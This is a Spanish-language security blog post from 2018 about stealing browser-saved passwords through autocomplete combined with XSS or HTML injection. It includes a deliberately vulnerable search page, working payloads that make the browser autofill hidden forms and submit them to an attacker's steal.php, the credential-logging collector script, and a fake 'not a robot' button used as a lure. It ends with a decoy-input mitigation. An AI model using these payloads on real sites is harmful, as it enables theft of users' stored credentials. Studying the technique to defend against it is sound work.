jueves, 6 de septiembre de 2018

No guardes las contraseñas en el navegador

Hace unos días en el trabajo, revisando una checklist de posibles vulnerabilidades webs y algunas cositas que había que revisar, encontré algo que me llamó la atención y me propuse echarle un ojito rápido al tema.

Es algo que el propio BurpSuite te reporta cuando navegas con él como proxy, y que nunca le había dado mucha importancia.


En pocas palabras nos dice que dentro del código HTML que nos devuelve una página, el tag "<input>" donde se introduce la contraseña tiene que tener el siguiente atributo: "autocomplete="off"".

¿Qué hace esto y por qué tenemos que tenerlo activado? Este atributo lo que hace es decirle al navegador que no autocomplete el usuario y la contraseña directamente y se supone que tenemos que tenerlo activado, porque en el caso de que se autocompletase y encontrar una XSS podríamos robar las credenciales almacenadas.

Para comprobar esto me creé un pequeño panel de login con un formulario que enviaba los datos a un PHP, que solo decía si los datos de inicio de sesión son correctos o no.

login.html

<html>
<head>
<title>FORMULARIO LOGIN</title>
</head>
<body>
<div align="center">
<h1>FORMULARIO LOGIN</h1>
<form method="POST" action="login.php">
<p>USUARIO: </p><input type="text" name="usuario" autocomplete="off">
<p>PASSWORD: </p><input type="password" name="password" autocomplete="off"></br>
<button type="submit">login</button>
</form>
<div>
</body>
</html>

 login.php

 <?php
    if($_POST['usuario']=="admin" && $_POST['password']=="admin"){
        echo "Contraseña correcta";
    }else{
        echo "Contraseña incorrecta";
    }
?>


 Podemos acceder y ver un login común y bastante simple. con un formulario para introducir el usuario y la contraseña, y ambos tags con el atributo
"autocomplete="off"".


Una vez entrado en el panel de login introducimos los datos en el formulario y veremos que como de costumbre el navegador nos pregunta si queremos almacenar las credenciales, vamos a decirle que sí.




Ahora accederemos de nuevo al panel de login a ver que ocurre.


¿Por qué se nos autocompleta si le dijismos que no se autocompletase? Basicamente porque ese atributo está desfaso, los navegadores actuales lo ignoran. el motivo es tan simple como que no sirve absolutamente para nada, en caso de tener una XSS podríamos nosotros mismos crear el formulario para que se autorrellenase y por otra parte si alguien tiene acceso a nuestro navegador podrá ver la contraseña en la propia configuración del navegador, en mi caso, al usar firefox podríamos verlas en "Preferencias >> Privacidad y seguridad >> Cuentas guardadas".



Bueno, después de esto vamos a ir a la parte interesante, vamos a robar esta contraseña a través de una XSS (para quien no sepa lo que es que le eche un ojo a estohttps://blog.underc0de.org/xss-cross-site-scripting/).

Lo primero que hay que tener en cuenta es que el navegador no guarda el path donde tú introdujiste tus datos, por lo que en cualquier lugar donde encuentre un formulario donde se pueda introducir una contraseña dentro de ese dominio lo va a completar automáticamente, por lo que da igual el lugar donde encontremos la XSS, yo he creado un pequeño panel vulnerable a XSS que simula el típico formulario de búsqueda.

search.php

<html>
<head>
<title>SEARCH PAGE</title>
</head>
<body>
<div align="right">
<p>Realice su búsqueda</p>
<form action="search.php" method="GET">
<input type="text" name="q">
<button type="submit">BUSCAR</button>
</form>
<?php echo "Búsqueda realizada: "; echo $_GET['q'];?>
<div>
</body>
</html>








Teniendo una XSS, lo que podemos hacer es crear un formulario, al cargar este formulario se autocompleterá, y lo que haremos será con algún evento, en mi caso usé "<img src=x onerror="enviarDatos()">" enviar los datos a nuestro propio servidor. Hay que tener en cuenta que si el formulario dirige a un dominio diferente no se autocompleterá, asi que tenemos que hacer que vaya al la página vulnerable y después modificarlo con el propio JavaScript. A mí me quedo de la siguiente forma.


XSS

<form action="login.php" method="POST" name="formulario">
<input type="text" name="usuario">
<input type="password" name="password">
</form>
<img src=x onerror="enviarDatos()">
<script>
        function enviarDatos(){
                document.formulario.action="http://url/testAC/steal.php";
                document.formulario.submit();
        }
</script>


El lugar donde se envían los datos es un php simple que los recoge y los escribe en un documento de texto, quedando de la siguiente forma.

steal.php

 <?php
        $fichero = fopen("datos.txt", "a");

        fwrite($fichero, "USUARIO: ".$_POST['usuario']." - PASSWORD:".$_POST['password']."\n");

        fclose($fichero);

        echo "TE MIRO Y TE HACKEO";
?>


La víctima, al ejecutarse la XSS vería lo siguiente (se podría redirigir a otro sitio para que esta no sospechase).




Una vez accedido la víctima podríamos ver como sus credenciales almacenadas han sido robadas, gracias a la función de autocompletar de los navegadores hemos dado un pequeño paso más en las XSS's.



Además de esto, esta "funcionalidad" también nos permite añadirle un punto de peligro a las HTML injection, nos permite pasar de poder crear un phishing, en el que la víctima tiene que caer, a robar las credenciales almacenadas haciendo que tan solo tenga que hacer un click (yo lo he camuflado como si fuera una verificación de ser un humano y no un robot).

Para esto solo he escondido las partes del formulario donde se autocompletan las credenciales almacenadas con "style="display:none"" y he añadido añadido el atributo "formaction="url/steal.php"" al botón para que envíe los datos a ese formulario (ya que si se pone directamente en el formulario no se autocompleterá). Me ha quedado de la siguiente forma.

<form action="login.php" method="POST">
<input type="text" name="usuario" style="display:none">
<input type="password" name="password" style="display:none">
<p>Demuestre que no es un Robot pulsando el botón</p>
<input type="checkbox">
<button type="submit" formaction="http://url/testAC/steal.php">Confirmación</button>
</form>

Al explotar el HTML injection con el anterior código la víctima vería lo siguiente.

De esta forma al pulsar el botón las credenciales almacenadas serían enviadas a nuestro servidor.


¿Cómo hacemos por parte del servidor para evitar que se almacenen estas credenciales? Pues es bastante sencillo, yo lo que hice fue añadir dos "<input>" escondidos que enviasen información irrelevante para sustituir a los que usará el usuario para iniciar sesión, me quedó de la siguiente forma.

<html>
<head>
<title>FORMULARIO LOGIN</title>
</head>
<body>
<div align="center">
<h1>FORMULARIO LOGIN</h1>
<form method="POST" action="login.php">
<p>USUARIO: </p><input type="text" name="usuario" autocomplete="off">
<input type="text" style="display:none">
<p>PASSWORD: </p><input type="password" name="password" autocomplete="off"></br>
<input type="password" style="display:none" name="none" value="1">
<button type="submit">login</button>
</form>
<div>
</body>
</html>

En este caso al iniciar sesión veríamos como no se almacenan las cotraseñas. Y en su lugar se almacena el valor de "<input>" que está oculto.


Yo he acabado por hoy espero que haya sido fácil de entender y/o algo útil, por poco que sea.

Saluti.

Te miro y te jaqueo

    No hay comentarios: